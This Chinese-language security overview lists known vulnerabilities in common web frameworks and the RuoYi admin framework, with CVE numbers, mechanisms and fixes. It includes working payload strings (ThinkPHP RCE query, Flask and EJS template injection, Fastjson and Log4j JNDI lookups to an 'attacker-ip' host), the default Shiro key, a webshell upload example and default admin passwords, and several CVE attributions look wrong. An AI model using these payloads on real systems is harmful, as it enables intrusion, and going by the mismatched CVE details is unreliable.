用途限制声明，本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具，严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果，作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作，可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果，在合法合规前提下谨慎实践。
这里主要介绍一些常见的框架漏洞。
一、Java Web 框架（企业级开发主流）
Java 框架因生态复杂（依赖链长、设计层级多），漏洞多集中于反序列化、远程代码执行（RCE）、参数绑定滥用等，且危害极强（常直接拿下服务器权限）。
1. Struts2（Apache Struts2）
Struts2 是经典 MVC 框架，因OGNL 表达式注入和反序列化漏洞频发，曾被称为 "漏洞之王"。
|--------------|------------------------|-----------------------------------------------------------------|---------|
| 漏洞类型 | 典型漏洞（ID / 别名） | 原理简述 | 危害程度 |
| OGNL 表达式注入 | S2-016（CVE-2013-2251） | 表单提交时，Content-Type等 HTTP 头未过滤 OGNL 表达式（如%{1+1}），可执行任意代码。 | 严重（RCE） |
| 反序列化漏洞 | S2-045（CVE-2017-5638） | 文件上传拦截器JakartaMultipartRequest处理请求时，未校验Content-Type，触发反序列化 RCE。 | 严重（RCE） |
| 反序列化漏洞 | S2-057（CVE-2018-11776） | 配置文件中struts.action.excludePattern正则表达式写死，导致特定路径请求绕过过滤，触发反序列化。 | 严重（RCE） |
| 标签属性 OGNL 注入 | S2-061（CVE-2020-17530） | s:a/s:url标签的href/action属性未过滤 OGNL 表达式，攻击者构造链接即可触发 RCE。 | 严重（RCE） |
2. Spring 系列（Spring MVC/Spring Boot/Spring Cloud）
Spring 是 Java 生态的 "基石框架"，漏洞多与参数绑定、依赖注入（DI）、配置暴露相关，近年高频出现 "核弹级" RCE 漏洞。
|--------------|--------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------|-----------------|
| 漏洞类型 | 典型漏洞（ID / 别名） | 原理简述 | 危害程度 |
| 参数绑定导致 RCE | Spring4Shell（CVE-2022-22965） | Spring MVC 参数绑定机制允许 "类属性覆盖"，攻击者通过构造class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat等参数，写入恶意 JSP 文件，实现 RCE。 | 严重（RCE） |
| 参数绑定漏洞（数据篡改） | CVE-2016-5007 | Spring MVC 对 "嵌套属性" 绑定无限制，攻击者可篡改后端对象的私有属性（如用户权限、订单金额）。 | 高危（权限提升 / 数据篡改） |
| 配置泄露 | Spring Cloud Config（CVE-2019-3799） | Spring Cloud Config 未授权访问，攻击者可下载所有配置文件（含数据库密码、密钥）。 | 高危（敏感信息泄露） |
| 依赖注入漏洞 | Spring Cloud Gateway（CVE-2022-22947） | Gateway 的Predicate工厂处理Route时，未过滤SpEL表达式，攻击者构造路由参数触发 SpEL 注入 RCE。 | 严重（RCE） |
3. Hibernate（ORM 框架）
Hibernate 是 Java 主流 ORM（对象关系映射）框架，漏洞集中于SQL 注入（因 ORM 使用不当）。
|------------------|---------------|--------------------------------------------------------------------------------------------------------|---------------|
| 漏洞类型 | 典型漏洞（ID / 别名） | 原理简述 | 危害程度 |
| HQL 注入（SQL 注入变种） | CVE-2014-3566 | 使用createQuery()执行原生 HQL 时，直接拼接用户输入（如from User where name=''+userInput+''），未用参数绑定（setParameter()），导致注入。 | 高危（数据泄露 / 篡改） |
| 关联查询注入 | 无特定 CVE（通用风险） | 多表关联查询时，对order by/group by后的字段未过滤，攻击者注入UNION SELECT等语句。 | 高危（数据泄露） |
二、PHP Web 框架（中小型 Web 开发主流）
PHP 框架漏洞多因变量覆盖、函数调用未过滤、调试模式滥用，且 RCE 漏洞占比高（PHP 动态执行特性导致）。
- ThinkPHP（国内最流行 PHP 框架）
ThinkPHP 因早期版本 "快速开发" 设计，存在大量RCE 和 SQL 注入漏洞，是渗透测试高频目标。
|-------------|-------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------|----------|
| 漏洞类型 | 典型漏洞（ID / 别名） | 原理简述 | 危害程度 |
| 远程代码执行（RCE） | ThinkPHP5.0/5.1 RCE（CVE-2018-20062） | 框架路由解析时，s参数未过滤，可构造?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami触发命令执行。 | 严重（RCE） |
| 远程代码执行（RCE） | ThinkPHP6.0 RCE（CVE-2021-37580） | 模板渲染时，assign方法未过滤用户输入，攻击者通过?template=file:///etc/passwd或构造恶意模板触发 RCE。 | 严重（RCE） |
| SQL 注入 | ThinkPHP3.2.x 注入（无 CVE） | 早期版本where条件拼接时，对数组参数处理不当，如map\['id'\] = array('in', _GET['id'])，若id为1) or 1=1--则触发注入。 | 高危（数据泄露） |
2. Laravel（PHP 主流框架）
Laravel 设计较严谨，但调试模式、依赖组件、路由参数仍可能引入漏洞。
|--------------|---------------------------------|-------------------------------------------------------------------------------------------------|----------|
| 漏洞类型 | 典型漏洞（ID / 别名） | 原理简述 | 危害程度 |
| 调试模式 RCE | Laravel Debug Mode RCE（无特定 CVE） | 开启APP_DEBUG=true（生产环境误配）时，若泄露.env文件（含APP_KEY），攻击者可利用laravel-debugbar组件构造恶意序列化数据，触发反序列化 RCE。 | 严重（RCE） |
| 路由参数 SQL 注入 | CVE-2020-15143 | Laravel 8.x < 8.4.2 中，route()函数处理参数时，未过滤$parameters中的特殊字符，若路由绑定到数据库查询，可触发注入。 | 高危（数据泄露） |
| 远程代码执行（依赖漏洞） | CVE-2021-3129 | Laravel 使用的symfony/http-foundation组件（版本 < 5.2.4）存在会话固定 + 代码执行，攻击者通过_fragment参数构造恶意 URL 触发 RCE。 | 严重（RCE） |
3. Yii（PHP 轻量级框架）
Yii 漏洞以反序列化和SQL 注入为主，2.x 版本因组件设计缺陷曾爆发大规模 RCE。
|----------|-------------------------------|------------------------------------------------------------------------------------|----------|
| 漏洞类型 | 典型漏洞（ID / 别名） | 原理简述 | 危害程度 |
| 反序列化 RCE | CVE-2020-15148 | Yii2 的yii\db\BatchQueryResult类未实现__wakeup()方法，攻击者构造序列化数据，利用PDO连接参数注入恶意代码，触发 RCE。 | 严重（RCE） |
| SQL 注入 | Yii1.x ActiveRecord 注入（无 CVE） | Yii1.x 的findByAttributes()方法对数组参数处理不当，若用户输入直接作为查询条件，可注入UNION SELECT。 | 高危（数据泄露） |
三、Python Web 框架（快速开发 / AI 应用主流）
Python 框架漏洞多与模板注入（SSTI）、配置暴露、ORM 滥用相关，因 Python 动态类型特性，SSTI 危害极高。
1. Django（Python 最成熟 Web 框架）
Django 设计安全，但版本更新不及时、第三方插件、DEBUG 模式仍会引入漏洞。
|------------|-----------------------|------------------------------------------------------------------------------------------------------------------|----------|
| 漏洞类型 | 典型漏洞（ID / 别名） | 原理简述 | 危害程度 |
| SQL 注入 | CVE-2021-35042 | Django 1.11.x < 1.11.29 / 2.2.x < 2.2.24 中，QuerySet.annotate()处理F()表达式时，未过滤output_field参数，导致注入。 | 高危（数据泄露） |
| 模板注入（SSTI） | Django 模板注入（无特定 CVE） | 若开发者使用render_to_string(template_name, context)时，template_name由用户控制（如?tpl={{7*7}}），Jinja2 模板引擎会执行表达式，可进一步构造 RCE。 | 严重（RCE） |
| 配置泄露 | DEBUG=True 信息泄露（通用风险） | 生产环境开启DEBUG=True时，报错页面会暴露代码路径、数据库配置、中间件信息，为攻击提供线索。 | 中危（信息泄露） |
2. Flask（Python 轻量级框架）
Flask 因 "极简设计"，需开发者自行处理安全逻辑，SSTI、会话漏洞是高频问题。
|------------|-------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|----------|
| 漏洞类型 | 典型漏洞（ID / 别名） | 原理简述 | 危害程度 |
| 模板注入（SSTI） | Flask SSTI（通用漏洞） | Flask 默认使用 Jinja2 模板，若开发者直接将用户输入作为模板渲染（如return render_template_string(request.args.get('tpl'))），攻击者可构造{{config.class.init.globals['os'].popen('whoami').read()}}执行命令。 | 严重（RCE） |
| 会话固定 | Flask Session Fixation（无 CVE） | Flask 默认会话 ID 存储在 Cookie 中，且未强制刷新会话 ID（如用户登录后未更换 sessionid），攻击者可预先设置 sessionid，劫持登录态。 | 高危（权限劫持） |
| 路径穿越 | CVE-2018-1000656 | Flask 0.12.4 及以下版本，send_file()函数处理filename参数时，未过滤../，导致攻击者读取任意文件（如?file=../etc/passwd）。 | 高危（文件泄露） |
四、Node.js Web 框架（前端后端一体化主流）
Node.js 框架漏洞多与中间件缺陷、路径处理、命令注入相关，因依赖大量 npm 包，"供应链漏洞" 也较常见。
1. Express（Node.js 最流行框架）
Express 依赖中间件扩展功能，漏洞多源于中间件配置不当或内置函数缺陷。
|------------|------------------------|-----------------------------------------------------------------------------------------------------|----------|
| 漏洞类型 | 典型漏洞（ID / 别名） | 原理简述 | 危害程度 |
| 路径穿越 | CVE-2017-14849 | Express 的express.static中间件处理../时，未完全过滤 UTF-8 编码的特殊字符（如..%2f），攻击者可读取任意文件（如/static/..%2f/etc/passwd）。 | 高危（文件泄露） |
| 命令注入 | CVE-2019-10758 | Express 使用的body-parser中间件（版本 < 1.19.0）处理urlencoded数据时，未过滤extended: true模式下的特殊字符，导致命令注入。 | 严重（RCE） |
| 模板注入（SSTI） | Express EJS SSTI（通用风险） | 若使用 EJS 模板且开启debug模式，用户输入可注入<%= require('child_process').execSync('whoami').toString() %>执行命令。 | 严重（RCE） |
2. Koa（Node.js 轻量级框架）
Koa 以 "中间件洋葱模型" 为核心，漏洞多与中间件执行顺序、请求处理逻辑相关。
|---------|------------------------------|-------------------------------------------------------------------------|----------|
| 漏洞类型 | 典型漏洞（ID / 别名） | 原理简述 | 危害程度 |
| 中间件请求劫持 | Koa Middleware Hijack（无 CVE） | 若中间件未正确处理ctx.respond属性（默认true），攻击者可构造请求绕过后续中间件（如鉴权），直接响应恶意内容。 | 高危（权限绕过） |
| 路径穿越 | Koa Static 路径穿越（通用风险） | Koa 的koa-static中间件未过滤../，若静态文件目录配置为./public，攻击者可通过/../etc/passwd读取任意文件。 | 高危（文件泄露） |
五、其他主流框架（.NET/Ruby）
1. .NET 框架（ ASP.NETMVC/ ASP.NETWeb Forms）
|-------------------------------------------------|----------|-----------------------------|-------------------------------------------------------------------------------------------------------|----------|
| 框架 | 漏洞类型 | 典型漏洞（ID / 别名） | 原理简述 | 危害程度 |
| ASP.NET Web Forms | 反序列化 RCE | CVE-2017-8759（ViewState 漏洞） | ViewState（视图状态）未加密且使用默认密钥，攻击者篡改 ViewState 数据，触发反序列化 RCE。 | 严重（RCE） |
| ASP.NET MVC | CSRF | 早期版本默认无防护（通用风险） | ASP.NET MVC 早期版本未默认开启[ValidateAntiForgeryToken]注解，攻击者可构造 CSRF 表单篡改数据。 | 中危（数据篡改） |
2. Ruby on Rails（Ruby 主流框架）
|----------|---------------|-----------------------------------------------------------------------|----------|
| 漏洞类型 | 典型漏洞（ID / 别名） | 原理简述 | 危害程度 |
| 反序列化 RCE | CVE-2016-0752 | Rails 的Active Record组件处理serialize字段时，未过滤反序列化数据，攻击者构造恶意 YAML 数据触发 RCE。 | 严重（RCE） |
| SQL 注入 | CVE-2020-8165 | Rails 6.0.3.1 及以下版本，Active Record的where查询处理Range对象时，未过滤边界值，导致注入。 | 高危（数据泄露） |
六、框架漏洞共性总结与高频类型
无论何种框架，以下漏洞类型均为 "通用高危"，需重点关注：
远程代码执行（RCE）：最危险漏洞，几乎所有框架均曾出现（如 Spring4Shell、ThinkPHP RCE、Flask SSTI），直接导致服务器被控制。
模板注入（SSTI）：Python/Node.js 框架高频（Flask/Django/Express），因模板引擎执行用户输入表达式，可快速升级为 RCE。
反序列化漏洞：Java/PHP/Ruby 框架典型（Struts2、Yii2、Ruby on Rails），因框架依赖序列化传输数据，未过滤恶意对象导致 RCE。
配置泄露：通用风险（Laravel .env 泄露、Django DEBUG 模式、Spring Cloud Config 未授权），泄露密钥 / 密码为后续攻击铺路。
SQL 注入：ORM 框架共性问题（Hibernate、Django ORM、Ruby Active Record），因开发者滥用原生 SQL 拼接参数导致。
七、若依框架漏洞
1、若依框架概述
若依（RuoYi）是国内主流Java 企业级快速开发框架，基于 Spring Boot/Spring Cloud + MyBatis + Shiro/Spring Security 技术栈，核心用于开发后台管理系统、OA、CRM 等企业应用。其漏洞可分为两类：
依赖组件漏洞：继承第三方开源组件（如 Shiro、Fastjson）的已知风险，是高频触发点；
自身业务逻辑漏洞：框架开发层设计缺陷，集中于权限控制、参数校验等模块。
2、依赖组件漏洞（高频风险）
若依依赖大量开源组件，若未及时更新版本，会直接继承组件漏洞。以下为核心漏洞类型及详情：
|---------------------|-------------------------------|---------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------|------------------------------------------------------------------------------------------------------|
| 漏洞名称 | 漏洞标识（CVE / 别名） | 核心原理 | 若依典型场景 | 危害等级 | 修复方案 |
| Apache Shiro 反序列化漏洞 | CVE-2016-4437、CVE-2020-1957 | Shiro 依赖 Cookie 中 rememberMe 字段（AES 加密 + Base64 编码的序列化对象）；若使用默认密钥或密钥泄露，恶意序列化 payload 可触发反序列化 RCE。 | 若依早期版本（2020 年前 RuoYi 3.x/4.x）集成 Shiro 1.2.4 及以下，未修改默认密钥；攻击者用 ShiroExploit 生成 payload，通过 rememberMe 字段获取服务器 shell。 | 严重（RCE） | 1. 升级 Shiro 至 1.7.1+； 2. 自定义随机 AES 密钥（替换默认密钥 kPH+bIxk5D2deZiIxcaaaA==）。 |
| Fastjson 反序列化漏洞 | CVE-2021-21350、CVE-2022-25845 | Fastjson 解析含 @type 字段的 JSON 时，会实例化指定类（如 JdbcRowSetImpl），通过类属性触发 RCE。 | 若依接口（如 /sys/login）用 Fastjson 解析参数且未禁用 @type；攻击者构造 payload（如 {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://attacker-ip/EvilClass","autoCommit":true}），触发 RCE。 | 严重（RCE） | 1. 升级 Fastjson 至 1.2.83+； 2. 配置 ParserConfig.getGlobalInstance().setAutoTypeSupport(false) 禁用 @type。 |
| Log4j2 远程代码执行漏洞 | CVE-2021-44228（"Log4j 核弹漏洞"） | Log4j2 支持 JNDI 注入，日志内容含 {jndi:} 时会加载远程类，恶意类触发 RCE。 | 若依基于 Spring Boot 2.6.x 以下版本，日志系统用 Log4j2 且记录用户可控参数（如请求参数、URL）；攻击者访问 /sys/menu?name={jndi:rmi://attacker-ip/Evil}，日志记录时触发漏洞。 | 严重（RCE） | 1. 升级 Log4j2 至 2.17.1+； 2. 配置 JVM 参数 log4j2.formatMsgNoLookups=true 禁用 JNDI lookup。 |
3、若依自身业务逻辑漏洞（框架开发层问题）
源于若依自身代码设计缺陷，与业务功能强相关，常见于权限、参数、文件处理模块：
3.1 越权访问漏洞（最高频业务漏洞）
|------|----------------------------------|----------------------------------------------------------|------|-------------------------------------------------------------------------|
| 漏洞类型 | 核心原理 | 典型场景 | 危害等级 | 修复方案 |
| 水平越权 | 后端仅校验 "用户登录状态"，未校验 "请求资源归属当前用户"。 | 若依 /sys/user/info?id=123 接口：攻击者修改 id=124，查看其他用户手机号、密码哈希。 | 高危 | 后端强制校验 "当前用户 ID" 与 "请求资源 ID" 一致（如通过 UserContext.getCurrentUserId() 比对）。 |
| 垂直越权 | 后端未校验用户角色，低权限用户可访问高权限接口。 | 若依 /sys/role/add 接口（仅允许管理员）：普通用户直接调用接口，添加管理员角色给自己。 | 高危 | 1. 用 Shiro @RequiresRoles("admin") 注解校验角色； 2. 用若依 @DataScope 注解控制数据权限。 |
3.2 SQL 注入漏洞
|--------------|---------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------|------|--------------------------------------------------------------|
| 漏洞标识 | 核心原理 | 典型场景 | 危害等级 | 修复方案 |
| MyBatis 拼接注入 | 若依使用 MyBatis 时，SQL 语句用 {} 占位符（直接拼接，无预编译）或手动拼接参数。 | 若依用户列表查询接口，MyBatis 映射文件中： SELECT \* FROM sys_user WHERE username LIKE '%{username}%'； 攻击者传入 username=admin' OR '1'='1，查询所有用户数据。 | 高危 | 1. 优先用 #{} 预编译占位符； 2. 若需用 ${}（如排序字段），白名单校验（仅允许 id/username）。 |
3.3 文件上传漏洞
|-----------|--------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------|---------|-------------------------------------------------------------------------------------|
| 漏洞场景 | 核心原理 | 典型场景 | 危害等级 | 修复方案 |
| 头像 / 附件上传 | 仅前端校验文件后缀（如 JS 限制 .jpg），后端未校验文件内容、未限制上传路径。 | 若依 /sys/user/profile/avatar 接口：攻击者将 JSP 木马（shell.jsp）重命名为 shell.jpg 上传； 若服务器解析 .jpg 为 JSP，访问 http://target/shell.jpg?cmd=whoami 执行命令。 | 严重（RCE） | 1. 后端双重校验：文件后缀白名单 + 文件头校验（如 JPG 头 FF D8 FF）； 2. 限制上传路径（禁止 Web 可访问目录）； 3. 随机重命名上传文件。 |
3.4 默认配置 / 弱口令漏洞
|--------|------------------------------------------------------|-------------------------------------------------------|------|------------------------------------------------|
| 漏洞类型 | 核心原理 | 典型场景 | 危害等级 | 修复方案 |
| 默认账号漏洞 | 若依默认提供演示账号（admin/admin123、test/test123），部署后未删除 / 改密。 | 企业部署若依时保留默认 admin 账号，攻击者用 admin/admin123 直接登录后台，接管系统。 | 高危 | 1. 部署后立即删除演示账号； 2. 强制修改管理员密码（大小写 + 数字 + 特殊字符）。 |
| 弱口令漏洞 | 二次开发时自定义弱口令（如 root/123456），无登录失败次数限制。 | 攻击者用暴力破解工具（如 Burp Suite）破解弱口令，登录后台导出敏感数据。 | 中高危 | 1. 强制密码复杂度； 2. 添加登录失败限制（如 5 次锁定账号）。 |